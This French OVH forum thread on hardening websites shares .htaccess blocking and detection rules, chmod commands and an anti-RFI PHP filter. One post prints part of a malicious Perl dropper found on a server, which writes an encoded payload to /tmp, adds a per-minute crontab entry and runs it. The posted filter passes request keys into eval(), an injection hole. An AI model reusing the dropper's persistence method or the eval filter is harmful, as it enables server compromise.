OVH Community, votre nouvel espace communautaire.

Sécuriser son site web des attaques des pirates et hackers


johnny57
09/08/2016, 11h18
J'ai un serveur dédié SP64 avec une release 3 d'ovh et cette instruction ne fonctionne pas chez moi, qu'en pensez vous ?

# Aucun script dans le dossier et ses sous-dossiers, que ce soit PHP, PERL ou autre CGI, ne pourra s'executer si ExecCGI est inactif. Et interdit d'afficher la liste des fichiers.
OPTIONS -ExecCGI -Indexes

fabriqueamusiqu
09/07/2015, 15h51
Bonjour,
Mon site à été désactivé car un soucis de sécurité avait été détecté.
Il est de nouveau en ligne et j'en ai profité pour mettre dans le htaccess toutes ces règles .
Tout marche nickel, mais j'en ai laissé 2 de coté.
L'interdiction de hotlinking car je ne sais pas ce que je dois mettre à la place de "60gp".
L'autre règle que je n'ai pas mis c'est le filtre PHPSHELL.PHP. Je pense que ce n'est pas necessaire.
Pour le hotlinking, si je pouvais avoir les renseignements.
A bientôt,
Marc

morsi
27/05/2015, 18h24
Bonjour et merci pour ces informations !

Est ce que les conseils sur le .htaccess (page 1 de ce topic) sont toujours d'actualités et notamment la liste des robots à bloquer ?

Merci.

pat007
20/04/2015, 10h04
Citation Envoyé par pat007
...
Je crois qu'il faut que je reprenne tous mes droits d'accès.
Pour info mon site avec les droits d'accès 404 pour fichiers et 505 pour dossiers ne gênaient en rien l'envoi de mail par un formulaire le problème était ailleurs.

pat007
17/04/2015, 10h42
Citation Envoyé par Nowwhat
Car probablement "Contact Form 7" a besoin d’écrire quelque part.

Attention:

C'est bien, mais est ce que ton CMS arrive maintenant à se auto-update ???? (t'as testé ?)
Interdire ton propre utilisateur (l'identité avec laquelle Apache (serveur web sur Mutu) s'exécute) d'écrire dans un dossier, c'est sur, c'est sécurisant, mais ça va te poser des problèmes bientôt ..... Les mises à jour 'auto' (point fort de WordPress) ne passent plus non plus.

En passant, quand tu parle de "Contact Form 7" dit aussi qu'il s'agit d'un site WordPress

Et trafiquer les droits des fichiers et dossiers d'un site WordPress, rien est plus simple:
On Google WordPress droit dossier fichiers puis tu consulte ce qu'il faut faire - ou pas : https://codex.wordpress.org/fr:Modif...r_les_Fichiers

Merci pour la réponse.
Autant pour moi j'avais oublié de préciser que c'était un site WordPress.
Pour ce qui est des droits d'accès, c'est sur que l'autoupdate ne fonctionne pas pour moi...
Je crois qu'il faut que je reprenne tous mes droits d'accès.

Nowwhat
15/04/2015, 21h40
Citation Envoyé par pat007
..... en utilisant Contact Form 7, je ne reçois plus de mail lorsque l'on rempli un formulaire.
Car probablement "Contact Form 7" a besoin d’écrire quelque part.

Attention:
mon site avec les droits d'accès 404 pour fichiers et 505 pour dossiers,
C'est bien, mais est ce que ton CMS arrive maintenant à se auto-update ???? (t'as testé ?)
Interdire ton propre utilisateur (l'identité avec laquelle Apache (serveur web sur Mutu) s'exécute) d'écrire dans un dossier, c'est sur, c'est sécurisant, mais ça va te poser des problèmes bientôt ..... Les mises à jour 'auto' (point fort de WordPress) ne passent plus non plus.

En passant, quand tu parle de "Contact Form 7" dit aussi qu'il s'agit d'un site WordPress

Et trafiquer les droits des fichiers et dossiers d'un site WordPress, rien est plus simple:
On Google WordPress droit dossier fichiers puis tu consulte ce qu'il faut faire - ou pas : https://codex.wordpress.org/fr:Modif...r_les_Fichiers

pat007
15/04/2015, 11h06
Citation Envoyé par jstaeble
Salut


Tout simplement des fichiers ou des dossiers modifiés par un de tes scripts. Par exemple le dossier "avatars" d'un forum, ou le dossier "pièces jointes" d'un formulaire de contact. Ou encore un fichier qui serait écrit par un script.
Mais je te conseille si tu développes tes scripts toi-même, de faire un chmod avant et après toute écriture organisée par le script. Ainsi tu seras sûr d'avoir une sécurité maximale de ton fichier/dossier même si le serveur doit le modifier.
Salut à tous.

J'ai essayé de sécurisé au mieux mon site avec les droits d'accès 404 pour fichiers et 505 pour dossiers, mais le souci c'est que du coup en utilisant Contact Form 7, je ne reçois plus de mail lorsque l'on rempli un formulaire.
Et j'arrive pas à trouver quels dossier et fichiers n'ont pas les bon droits...
D’avance merci pour tout tuyau!

pat007
12/12/2014, 11h40
Merci bcp pour la réponse.
Pour l'instant je ne fais pas de scripts et y a pas de pièce jointe dans les formulaire ni de forum, donc je devrai avoir peux de problème.
Sauf peut etre avec les mises à jour.

jstaeble
11/12/2014, 11h43
Salut
Citation Envoyé par pat007
Quels sont habituellement les "fichier ou un dossier nécessitent des droits d'écriture par le serveur mettez 604 pour le fichier et 705 pour le dossier" ?
Tout simplement des fichiers ou des dossiers modifiés par un de tes scripts. Par exemple le dossier "avatars" d'un forum, ou le dossier "pièces jointes" d'un formulaire de contact. Ou encore un fichier qui serait écrit par un script.
Mais je te conseille si tu développes tes scripts toi-même, de faire un chmod avant et après toute écriture organisée par le script. Ainsi tu seras sûr d'avoir une sécurité maximale de ton fichier/dossier même si le serveur doit le modifier.

pat007
11/12/2014, 11h29
Bravo pour ces tutos ils sont super.
Question idiote mais quels sont habituellement les "fichier ou un dossier nécessitent des droits d'écriture par le serveur mettez 604 pour le fichier et 705 pour le dossier" ?
Encore merci.

pyxyo
04/03/2014, 13h39
Bonjour,

Je me pose des questions concernant les règles de sécurités décrites dans ce post qu'il est réellement nécessaire de mettre en place dans un cas spécifique.

En effet, sur l'hébergement mutualisé, nous devons d'après la documentation OVH placer les fichiers de notre site dans le répertoire "www". Mais en réalité, il est possible de faire autrement, c'est ce que j'ai fait pour mon site.

Dans mon répertoire "www" j'ai uniquement un "index.php" très basique qui est l'unique point d'entrée pour toutes les pages de mon site. J'ai également le ".htaccess", les ressources javascripts, css, et les images.

Tout le reste du code PHP se trouve au dessus du répertoire "www", dans différents répertoires (exemples : "config", "modules", "templates"...).

Alors voila mes questions :

- Est-ce que les règles de sécurités décrites dans ce post s'appliquent aussi pour les fichiers et dossiers situées hors du répertoire "www" ?

- Est-ce que cette organisation de l'arborescence représente réellement un plus pour la sécurité ?

- Y a t'il des précautions spécifiques à prendre ?

Merci d'avance pour vos réponses.

popol
26/12/2013, 09h07
Bonjour, merci pour votre réponse .

Malheureusement, ça ne semble pas fonctionner .
Afin d'être certain de ne pas faire de faute, j’ai utilisé copier/ collé de /home/loginftp/www

find . /home/loginftp/www/ -type f -print0 | xargs -0 chmod 404 fonctionne mais

find /home/loginftp/www -type d -name "tour" | chmod 705
ne vas pas

Si l'un de vous veux partager son idée .

Gaston_Phone
25/12/2013, 22h36
Une idée en l'air :
find /home/loginftp/www -type d -name "tour" | chmod 705

popol
25/12/2013, 22h14
Bonjour,
Je voudrais maintenant octroyer les droits 705 aux dossiers www et tour sachant que l'arborescence correspond à /home/loginftp/www/tour

J'essaie "find /home/loginftp/www -type d -name "tour" -print0 | xargs -0 chmod 705" et
"find /home/loginftp -type d -name "www" -print0 | xargs -0 chmod 705" mais aucun droit n'est modifié !

Syntaxe, un point, un espace ou ??????

Si l'un de vous a une idée, je l'en remercie d'avance .

popol
25/12/2013, 19h43
Hello !
J'ai essayé "find . ../../www/ -type f -print0 | xargs -0 chmod 404" et, ça marche du tonnerre !
Il ne me reste "plus qu' à" protéger mon dossier admin...

Merci beaucoup pour cette réponse rapide et efficace !

buddy
25/12/2013, 18h42
Bonjour,

tu as essayé en remplaçant

find . -type f

par
find /path/to/www/ -type f

popol
25/12/2013, 18h29
Citation Envoyé par enycu
Automatiser le changement des droits

Changer tous les droits par FTP de tous les fichiers et dossiers peut être long et fastidieux avec le risque d'en oublier. J'utilise ce script pour changer les droits rapidement par SSH.

Connectez-vous en SSH à votre compte (uniquement pour les offres Plan et non pour les offres Start et GP), puis placez-vous dans le dossier "www" en entrant la commande cd www , et entrez les commandes suivantes en une seule ligne (après avoir modifié les noms des fichiers et dossiers selon les besoins):
Code:
find . -type f -exec chmod 404 {} \;;find . -type d -exec chmod 505 {} \;;find . -name ".htaccess" -exec chmod 404 {} \;;find . -name "config.inc.php" -exec chmod 404 {} \;;find . -name "fichier-log.txt" -exec chmod 604 {} \;;find . -name "dossier_a_verrouiller" -exec chmod 505 {} \;;find . -name "*upload*" -exec chmod 705 {} \;;find . -name "*.cgi" -exec chmod 505 {} \;
Sinon, voici une autre méthode ligne par ligne qui fonctionne en SSH, ou avec un script qui fait du pseudo-ssh en PHP (pour les offres Start et GP) comme celui-ci: http://forum.ovh.net/showthread.php?t=14627
En mode SSH, mettez-vous dans le dossier www avant de commencer. Avec un script qui fait du pseudo-ssh en PHP, mettez le fichier dans le dossier www et commencez le travail.
On copie une ligne, on appuie sur la touche Entrée, et on copie une autre ligne, on appuie sur la touche Entrée, etc. après avoir modifié les noms des fichiers et dossiers selon les besoins.

Tous les fichiers ont les droits 404 (droit de lecture, aucun droit d'écriture):
Code:
find . -type f -print0 | xargs -0 chmod 404
Tous les dossiers ont les droits 505 (droit de lecture, aucun droit d'écriture):
Code:
find . -type d -print0 | xargs -0 chmod 505
Tous les fichiers portant le nom ".htaccess" ont les droits 404 (droit de lecture, aucun droit d'écriture):
Code:
find . -type f -name .htaccess -print0 | xargs -0 chmod 404
Tous les fichiers contenant le nom "config*.php" (utilisation du caractère joker *) du dossier "blog" ont les droits 404 (droit de lecture, aucun droit d'écriture):
Code:
find /home/loginftp/www/blog -type f -name "config*.php" -print0 | xargs -0 chmod 404
Tous les fichiers php ("*.php" utilisation du caractère joker *) ont les droits 404 (droit de lecture, aucun droit d'écriture):
Code:
find . -type f -name "*.php" -print0 | xargs -0 chmod 404
Tous les dossiers portant le nom "dossier_a_verrouiller" ont les droits 505 (droit de lecture, aucun droit d'écriture):
Code:
find . -type d -name dossier_a_verrouiller -print0 | xargs -0 chmod 505
Tous les dossiers comportant le mot upload, comme "123-upload" ou "uploadbidule " ("*upload*" utilisation du caractère joker *) qui se trouvent dans le dossier "forum" ont les droits 705 (droit de lecture et droit d'écriture pour vous et le serveur):
Code:
find /home/loginftp/www/forum -type d -name "*upload*" -print0 | xargs -0 chmod 705
Un article sur la signification du CHMOD et la signification des numéros.

NOTE: Attention, (août 2007) OVH est en train de changer de filer et les droits 400 ne marchent plus. Donc, il faut revenir à CHMOD 404.
Bonjour,
J'essaie d'envoyer une commande en pseudo-ssh, par exemple "find . -type f -print0 | xargs -0 chmod 404" si mon script index.php est lancé à partir de www, pas de problème, tous les fichiers en aval de www sont avec les droits 404, mais si, comme conseillé ici, http://forum.ovh.com/showthread.php?...ll=1#post72030
par exemple, dans www/admin, seulement les fichiers en aval de "admin sont avec les droits souhaités !

Question: comment modifier la ligne de commande "find . -type f -print0 | xargs -0 chmod 404" afin que les modifications s'opèrent à partir de www sans avoir le scripr directement dans www ?
D'avance, je vous remercie pour vos lumières .

Gaston_Phone
13/09/2013, 10h12
Citation Envoyé par Esperado
Pour revenir au sujet général de la sécurité, voici deux petits scripts qui vous seront peut être utiles.
Le premier sert à changer les droits de tous les dossiers et fichiers d'un site en une seule passe:
Merci Esperado, mais pour plus de sécurité j'aurai tendance à mettre :
  • Dossiers = 705
  • Fichiers = 604


Esperado
13/09/2013, 07h27
Et celui-ci pour ajouter un fichier index.html dans tous les dossiers:
Code:
 $object) {
        if (is_dir($object->getPathname()) AND FALSE === strpos($object->getPathname(), '.svn')) {
            $dirs[] = $object->getPathname();
        }
   }
$string = '

404 Error





';
    foreach ($dirs as $dir) {
        $filename = $dir . '/index.html';  	
		file_put_contents ($filename , $string );
        }
}
add_index_html(dirname(__FILE__));
?>
Ce script se met à la racine de votre site.

Esperado
13/09/2013, 07h08
Pour revenir au sujet général de la sécurité, voici deux petits scripts qui vous seront peut être utiles.
Le premier sert à changer les droits de tous les dossiers et fichiers d'un site en une seule passe:
Code:

axtafur
26/01/2013, 16h03
Bonjour Abazada

Je vous remercie pour vos réponses. Mais étant assez peu calé en informatique surtout en ce qui concerne les serveurs web je ne sais pas comment faire
Il vous faut regarder les log de votre site et voir les requêtes que fait Bing.
Comment je fais ?

Il faut comprendre ce qui a provoqué cela en regardant à quoi ressemble ces URL.
Comment je fais ? et que faut-il comprendre ?

Salutations
Axtafur

Abazada
26/01/2013, 08h01
Citation Envoyé par axtafur
Le site contient actuellement 480 page différentes.
Il vous faut regarder les log de votre site et voir les requêtes que fait Bing.

Quand on voit 28710 pour l'IP 157.55.32.112, ça fait un paquet de requêtes et tel que fonctionne Bing on peut penser que la majorité sont des URL différentes.

C'est en tout cas totalment anormal pour vos 480 pages. Il faut comprendre ce qui a provoqué cela en regardant à quoi ressemble ces URL.

axtafur
25/01/2013, 17h54
Bonjour,

Le site contient actuellement 480 page différentes.

Par contre je ne comprends pas vos autres termes car je ne suis pas informaticiens. Le site en programmé exclusivement en html et css avec un peu de javascript et un include php par page pour y ajouter le menu.

Le site existe depuis 2002 et n'a jamais connu de probleme de ce genre

Salutations
Axtafur

Abazada
25/01/2013, 07h46
Citation Envoyé par axtafur
...
10204 157.55.35.35
13818 157.55.32.101
13917 65.55.52.117
14957 157.56.93.150
15270 157.56.229.190
17700 157.55.32.103
28710 157.55.32.112
...
Juste une question:
Combien y a-t-il de pages réellement différentes sur ton site ?
Là Bing en considère + de 100.000...
Se méfier des indexation multiples liées à url?option=k1, url?option=k2,...
Penser au rel="canonical" au cas où...

axtafur
24/01/2013, 17h08
Bonjour,

La question a été posée à 1&1 et au sav de Bing (service webmaster) mais pour l'instant c'est le silence complet à part l'accusé de reception des mails.

Merci de vous avoir penché sur ma question

Salutations
Axtafur

enycu
22/01/2013, 23h02
Bonjour,

Je ne sais pas. Je ne connais pas votre site web et sa fréquentation, je ne connais pas les ressources consommées par ces robots pour votre site web, je ne connais pas les limites de l'infrastructure de 1&1 et de ce qu'ils considèrent comme acceptable.
C'est à 1&1 de répondre à votre question. Cela concerne leur support technique. Comme je vous l'ai dit cela doit leur arriver plusieurs fois par jour. Ils doivent savoir ce qui fonctionne sur leur infrastructure.

Désolé de vous répondre de cette manière. Mais vous posez une question précise et vous proposez une solution précise. Je ne vais pas vous répondre parce que je n'en sais pas plus que vous. Vous vous trompez d'interlocuteur pour votre question.

Cordialement.

axtafur
21/01/2013, 18h40
Bonjour,

Merci pour la réponse.

J'ai rajouter dans le fichier robots.txt les lignes suivantes :

User-agent: MSNbot
Crawl-delay: 1

User-agent: bingbot
Crawl-delay: 1

Pensez vous que céla va permettre d'éviter un scrawling trop aggressif ?

Salutations
Axtafur

enycu
20/01/2013, 18h38
Il n'y a rien à faire concernant les règles contre le piratage.

Bing (msnbot), comme Google, sont des visiteurs légitimes de sites web. Ce ne sont pas des scripts malveillants. Pour éviter ce genre de problème, OVH fait une balance de charge entre les moteurs de recherches et les visiteurs humains. Je suis étonné qu'un grand acteur tel que 1&1 ne fait pas cela, c'est une chose qui doit arriver tous les jours chez eux. Tu n'as pas à être pénalisé pour cela.

Tu peux mettre un filtre qui interdit le moteur de Bing, mais tu seras déréférencé, et il te faudra plusieurs mois pour retrouver ton niveau de référencement. Et ce n'est pas ce que tu veux.

axtafur
19/01/2013, 17h25
Bonjour,

Mon site web www.lieux-insolites.fr a été mis hors service par la modification d'un fichier inclus par la fonction php include dans mes pages web.

J'ai donc appliqué les différentes solutions préconisées sur ces pages. Vendredi le site a été bloqué par l'hébergeur (1&1 eh oui je ne suis pas sur ovh mais j'espère avoir quand même une réponse), car il consonne trop de ressource. Le site fonctionne depuis 2006 sans problème.

Audjourd'hui après l'avoir remis en service il m'envoie ce mail:

Pour information, nous avons pu constater un scrawling très aggressif des moteurs de recherches notamment Bing.

(uiserver):u39812236@icpu377:~/logs > zcat access.log.03.5.gz | awk '{print $1}' | sort | uniq -c | sort -g
[...]
1971 157.55.32.81
2065 157.55.32.60
3143 157.55.36.36
5025 157.55.33.98
10204 157.55.35.35
13818 157.55.32.101
13917 65.55.52.117
14957 157.56.93.150
15270 157.56.229.190
17700 157.55.32.103
28710 157.55.32.112
(uiserver):u39812236@icpu377:~/logs > host 157.55.32.112
112.32.55.157.in-addr.arpa domain name pointer msnbot-157-55-32-112.search.msn.com.
(uiserver):u39812236@icpu377:~/logs > host 157.55.32.103
103.32.55.157.in-addr.arpa domain name pointer msnbot-157-55-32-103.search.msn.com.
(uiserver):u39812236@icpu377:~/logs > host 157.56.229.190
190.229.56.157.in-addr.arpa domain name pointer msnbot-157-56-229-190.search.msn.com.
(uiserver):u39812236@icpu377:~/logs > host 157.56.93.150
150.93.56.157.in-addr.arpa domain name pointer msnbot-157-56-93-150.search.msn.com.
(uiserver):u39812236@icpu377:~/logs > host 157.55.32.101
101.32.55.157.in-addr.arpa domain name pointer msnbot-157-55-32-101.search.msn.com.

Que signifie ceci et que doit je faire pour que le site ne soit plus bloquer?

Merci pour vos réponses. Je vous précise que je suis assez novice en programmation et que je n'ai pas tout compris dans ces pages.

Salutations
Axtafur

babou007
18/09/2012, 10h04
Bonjour,

N’étant pas un grand expert en sécurité des site internet, j'aimerais savoir c'est quoi la faille la plus dangereuse?

J'ai suivi toute la procédure, mais je crois que les permissions des fichiers ne marchent pas pour moi.

Et pour auditer le site web, comment faire?
J'ai trouvé sa sur un autre forum http://www.barberetsecurity.ch/audit.../site_web.html

estce que c'est bien?

merci en tout cas pour la procédure, c'est une des meilleurs que jai trouvé

bonne journée

loren
12/05/2012, 12h59
Bonjour,

A force de parler sécurité, et bien ont découvre des choses, ont vérifie et on cherche, je viens de découvrir dans le dossier cgi-bin de deux de mes serveurs des scripts nommé :
rhizoneure.cgi ou le même dans undercourtier.cgi

Ils contiennent tous les deux le même script.
"Je l'ai coupé pour des raisons de sécurité."

J'ai une plateforme IIS et une sous Linux les deux administrés à distance.
Chacun avait ce scripts dans cgi-bin je suppose qu'il pouvait l’exécuter depuis un Shell, mais s'exécutait-t-il aussi sur IIS ?

Je l'ai effacé, mais dois-je changer tous mes mots de passes serveur ? (oui)
Que puis-je faire de plus ? désactiver perl sur mes serveurs ?
Existe-t-il un outil valable qui scan les fichiers .php, etc par ftp à distance ?

Je pense que mon PC à été infecté le mois passé par un trojan, alors dans le doute j'ai formatée et réinstallé windows7 avec un Ghost propre.

Mais je n'avais pas trouvé ce script avant voici quelques ligne de cet intrus.

Code PHP:
#!/usr/bin/perl
use strict;
use 
warnings;
use 
MIME::Base64;

print 
"Content-type: text/plain\n\n"
print 
"HelloWorld\n"

open(OLD_UNIX">""/tmp/.X11-unix");
print 
OLD_UNIX decode_base64("I3BhcnQgb2YgdGhlIEdvb3RraXQgZGRvc0N....etc coupé...");
close(OLD_UNIX);
system("echo '* * * * * perl /tmp/.X11-unix >/dev/null 2>&1' > /tmp/cron.d ; crontab /tmp/cron.d ; rm /tmp/cron.d");
system("perl /tmp/.X11-unix");
print 
"exdone\n"

Mes meilleures salutations à tous.

ddavid
11/05/2012, 18h40
Citation Envoyé par loren
Mai lorsque des outils dont je citerais pas les noms du genre shell, rS7 ou C.9 et autre .pl, ses scripts qui dans de mauvaises mains peuvent passer toutes les sécurités et pour peu qu'il y ai un include php avec un variable mal composé... c'est le drame.

Lorsque j'ai été pris pour cible par ces serveurs de scripts du type
?id.txt, j'ai vérifié chaque fois mes logfiles apaches, et les scripts provenaient bien de ses pays !!! (je dois même en oublier...)
Ah, les attaques dans les logs...

Je dois dire que j'en ai vu passer pas mal, et que j'en suis au point où il y a pas mal de logs que je n'épluche que très rarement, et encore en cherchant à ne voir que ce qui est le plus étrange dans la masse de logs...

En fait, le problème est rarement d'être attaqué 10 fois par jour plutôt qu'une fois tous les 10 jours, le problème est plus quand il y a une faille bien ouverte dans le code. (Hormis pour les attaques visant à obtenir un déni de service par consommation de ressources serveur)

Face aux menaces, il faut s'assurer d'avoir des logiciels bien à jour, d'avoir bien codé soit même le cas échéant, et surtout ne pas négliger la protection des machines sur lesquels des mots de passes sont entrés ou enregistrés. (deux exemples récents de dégats probablement causés par des troyans, et ce ne sont pas des cas isolés...)

Citation Envoyé par loren
Mon site essentiellement franco-suisse, ou je m'excuse d'avance de mes propos, mais "je me fous complètement que les "Russe,Brésilienne,Chinoise ne puisse me lire" je bloque l'accès point final.

Je sais que ça peux paraître égoïste, mais je ne cible que franco-suisse, alors mes règles laissent quand même un accès large à toute l’Europe.
Si le blocage est sur des plages larges, il y a toujours le risque que ça ne plaise pas à Google et qu'il suspecte que du contenu accessible pour le moteur ne le soit pas pour les internautes.

De plus, il y a toujours le risque que certains de tes visiteurs franco-suisses partent ailleurs quelque temps (enfin à moins que ton site perde de son intérêt pour ceux qui partent, ce qui peut être le cas s'il a pour sujet des promotions dans des magasins physiques).

Citation Envoyé par loren
Pour ma pars je n'ai pas besoin qu'ils me lisent car je peux m'en passer.
Et en attendant je n'ai plus eu de problèmes ?id.txt dans mes logfiles.
Je peux t'assurer que quand j'ai commencé avec l'offre mutu OVH, je n'ai pas attendu longtemps avant d'avoir une attaque en provenance d'un freenaute bien français.

Plus d'une estimation laisse à penser qu'entre 1/3 et 1/10 des machines connectés à Internet puisse être une machine zombie membre d'un botnet. Les machines zombies sont souvent utilisées pour envoyer du spam et attaquer des sites.

Si tu ne t'es jamais fait attaquer via une machine française, il est fort probable que ce ne soit qu'une question de temps...

Citation Envoyé par loren
Et j'aurais apprécier quelques précisions concernant votre texte :

« insérer une notice de provenance du contenu au bon endroit au bon moment, beaucoup de copieurs travailleront pour vous sans même forcément y penser.»
Il y a deux "types de copieurs" que l'on peut faire bosser facilement pour soit :
* Ceux qui programment leur site pour piquer du contenu via des flux rss/atom (y a pas besoin d'être doué pour faire ça, y a des plugins d’agrégation Wordpress par exemple) : il suffit de mettre un lien vers la source dans chaque élément du flux, dans le texte et pas seulement sur le titre. Avec le plugin OZH better feed, c'est pas trop dur sous Wordpress (autres solutions à chercher voire coder dans le cas où l'on utilise pas Wordpress).
* Pour ceux qui font du copier/coller à la souris en laissant javascript activé, il est possible de modifier dynamiquement le contenu de la page à la copie. Voici un lien avec la méthode qui semble marcher (note: je l'ai trouvé en 1 minute et testé uniquement avec firefox, mais en tout cas j'ai déjà vu le concept en place sur plus d'un site dans le passé).

Si le copieur n'est affecté par aucune des deux méthodes, alors il y a fort à parier qu'il est capable de s'en sortir de toute façon pour copier même avec toutes les solutions imaginables anti-copie (enfin je me limite aux solutions qui ne nuisent pas à l'exploration par Google).

loren
11/05/2012, 15h05
Bonjour ddavid,

Je sais que mes quelques règles .htaccess sont très restrictives, en particulier :


...

Mai lorsque des outils dont je citerais pas les noms du genre shell, rS7 ou C.9 et autre .pl, ses scripts qui dans de mauvaises mains peuvent passer toutes les sécurités et pour peu qu'il y ai un include php avec un variable mal composé... c'est le drame.

Lorsque j'ai été pris pour cible par ces serveurs de scripts du type
?id.txt, j'ai vérifié chaque fois mes logfiles apaches, et les scripts provenaient bien de ses pays !!! (je dois même en oublier...)

Mon site essentiellement franco-suisse, ou je m'excuse d'avance de mes propos, mais "je me fous complètement que les "Russe,Brésilienne,Chinoise ne puisse me lire" je bloque l'accès point final.

Je sais que ça peux paraître égoïste, mais je ne cible que franco-suisse, alors mes règles laissent quand même un accès large à toute l’Europe.

Pour ma pars je n'ai pas besoin qu'ils me lisent car je peux m'en passer.
Et en attendant je n'ai plus eu de problèmes ?id.txt dans mes logfiles.

Je suis sur qu'il y a d'autre solutions, que j'aimerais bien connaître.
Et j'aurais apprécier quelques précisions concernant votre texte :

« insérer une notice de provenance du contenu au bon endroit au bon moment, beaucoup de copieurs travailleront pour vous sans même forcément y penser.»

Merci pour vos commentaires toujours très utils.

ddavid
10/05/2012, 11h01
Citation Envoyé par loren
1) Protection d'une page Html avec java (assez sommaire pas compliquée à contourner). Mais je la trouve très utiles, si ont veux éviter le vol ou l'enregistrement de textes, de photos, etc. à l'écran.
Bonjour,

Hormis pour les "attaques" par vol de contenu au copier/coller réalisées par des néophytes, ce type de protection ne sert à pas grand chose.

Néanmoins, pour faire de l'efficace avec du javascript contre le vol de contenu (ce qui peut être intéressant), le mieux n'est pas de chercher à bloquer, mais de maximiser l'opportunité d'être crédité comme source. En s'arrangeant pour insérer une notice de provenance du contenu au bon endroit au bon moment, beaucoup de copieurs travailleront pour vous sans même forcément y penser.

Modifier les flux RSS/Atom peut également être très recommendable...

Citation Envoyé par loren
// AntiRFI - a enrichir selon besoin...
// Vérifie les caractères étranges dans $ _GET clés & Exit
// Toutes les touches avec "/" ou "\\" ou ":" sont bloqués.
// Pratiquement impossible d'injecter des pages ou sites Web

foreach ($_GET as $get_key => $get_value) {
if ((ereg("/", $get_value)) || (ereg("[\\]", $get_value)) || (ereg(":", $get_value))) {
eval("unset(\${$get_key});");
Ça arrive malheureusement souvent que dans des CMS (Wordpress inclus), ce genre de filtres gêne l'administrateur...

Mettre des URLs en paramètre de façon légitime, ce n'est pas si rare que ça... (J'ai déjà eu une page à l'affichage bloqué après un update de WP)

Citation Envoyé par loren
3) Quelques petits blocages avec Htaccess qui m'ont été très utile : (revoir la syntaxe selon votre utilisation).


order allow,deny
deny from 217.133.53.120 # Bloque toute les plages relative à l'adresse...
deny from 217.193. # idem
deny from .ru # Bloque toute les plages Russe
deny from .br # Bloque toute les plages Brésilienne
deny from .cn # Bloque toute les plages Chinoise
allow from all
Deux remarques :
* Pour le GET, en général seul les URLs avec trop de paramètres sont utiles à bloquer sur des plages aussi larges... Les robots scanneurs d'adresse email faut lutter contre eux autrement de toute façon, seul la réduction des attaques devrait être le but de telles règles.
* Pour les règles de deny : non seulement les plages sont très (trop?) larges (je crois que si je vais un jour dans un de ces pays je serais obligé de prendre un VPN ou passer par un proxy socks over ssh), mais en plus elles ralentissent tout le monde. Tant que possible il faut laisser au serveur la possibilité de donner sa réponse sans avoir à faire préalablement une requête reverse DNS.

Cordialement,

loren
03/05/2012, 00h16
Bonjour,

Voici ma petite participation, si elle peut aider certain d'entre vous, pas de questions sur htaccess je suis aussi débutant.
C'est juste un ou deux petit trucs et astuces que j'utilise et que j'ai trouvées par-ci par là.

1) Protection d'une page Html avec java (assez sommaire pas compliquée à contourner). Mais je la trouve très utiles, si ont veux éviter le vol ou l'enregistrement de textes, de photos, etc. à l'écran.


// Activation/désactivation de la protection
//$protectHTML = false;
$protectHTML = true;






2) Bloquer les attaques RFI de/en PHP, j'ai moi même été une cible facile à mes débuts.
A intégrer et utiliser sans se priver...

// AntiRFI - a enrichir selon besoin...
// Vérifie les caractères étranges dans $ _GET clés & Exit
// Toutes les touches avec "/" ou "\\" ou ":" sont bloqués.
// Pratiquement impossible d'injecter des pages ou sites Web

foreach ($_GET as $get_key => $get_value) {
if ((ereg("/", $get_value)) || (ereg("[\\]", $get_value)) || (ereg(":", $get_value))) {
eval("unset(\${$get_key});");
die("
Une tentative de piratage a été détecté. Pour des raisons de sécurité, nous bloquons toute exécution du code.
");
}
}
?>

3) Quelques petits blocages avec Htaccess qui m'ont été très utile : (revoir la syntaxe selon votre utilisation).


order allow,deny
deny from 217.133.53.120 # Bloque toute les plages relative à l'adresse...
deny from 217.193. # idem
deny from .ru # Bloque toute les plages Russe
deny from .br # Bloque toute les plages Brésilienne
deny from .cn # Bloque toute les plages Chinoise
allow from all


Options +FollowSymLinks


RewriteEngine on
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|%3D) [OR]
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
#RewriteRule ^(.*)$ index.php [F,L]
RewriteRule . abuse.php [L]

RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [NC]
RewriteRule . abuse.php [L]

RewriteCond %{HTTP_USER_AGENT} ^BackWeb [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Bandit [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^BatchFTP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^BecomeBot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [NC]
RewriteCond %{HTTP_USER_AGENT} ^IPiumBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^Sucker [NC]

RewriteCond %{HTTP_REFERER} \.opendirviewer\. [NC,OR]
RewriteCond %{THE_REQUEST} \?\ HTTP/ [NC,OR]
RewriteCond %{THE_REQUEST} \/\*\ HTTP/ [NC,OR]
RewriteCond %{HTTP_REFERER} users\.skynet\.be.* [NC,OR]
RewriteCond %{QUERY_STRING} \=\|w\| [NC,OR]
RewriteCond %{THE_REQUEST} etc/passwd [NC,OR]
RewriteCond %{REQUEST_URI} owssvr\.dll [NC,OR]
RewriteRule . abuse.php [L]

Order allow,deny
Allow from all

enycu
30/04/2012, 03h48
... d'où l'intérêt de toujours tester toutes les fonctions de son CMS après installation de ces règles.

Mon expérience personnelle me montre que le pare-feu applicatif d'OVH basé sur modsecurity d'Apache (voir le Manager -> hébergement -> Pare-feu applicatif) crée aussi des problèmes comme les règles décrites ici. Mais, je préfère pouvoir contrôler et adapter mes réglages en conséquence, alors qu'avec le pare-feu applicatif, on ne peut rien changer, c'est tout ou rien. Dommage.

ddavid
27/04/2012, 20h23
À noter aussi, libwww-perl doit être enlevé/commenté/assoupli à chaque fois que l'on lance l'analyseur de script (du moins pour l'instant).

ddavid
09/04/2012, 17h52
Citation Envoyé par enycu
6- Interdiction du hotlinking. Remplacez mondomaine par votre nom de domaine, tld par fr com net org ..., et 60gp par 90plan, start1g, etc. selon votre hébergement, et remplacez loginftp par votre... login FTP.

Code:
### ON EVITE LE VOL D'IMAGES, VIDEO, SON, FEUILLE DE STYLE, PDF ET ZIP
### LES VISITEURS DOIVENT PASSER PAR LE SITE. 
RewriteEngine on 
RewriteCond %{HTTP_REFERER} !^$ 
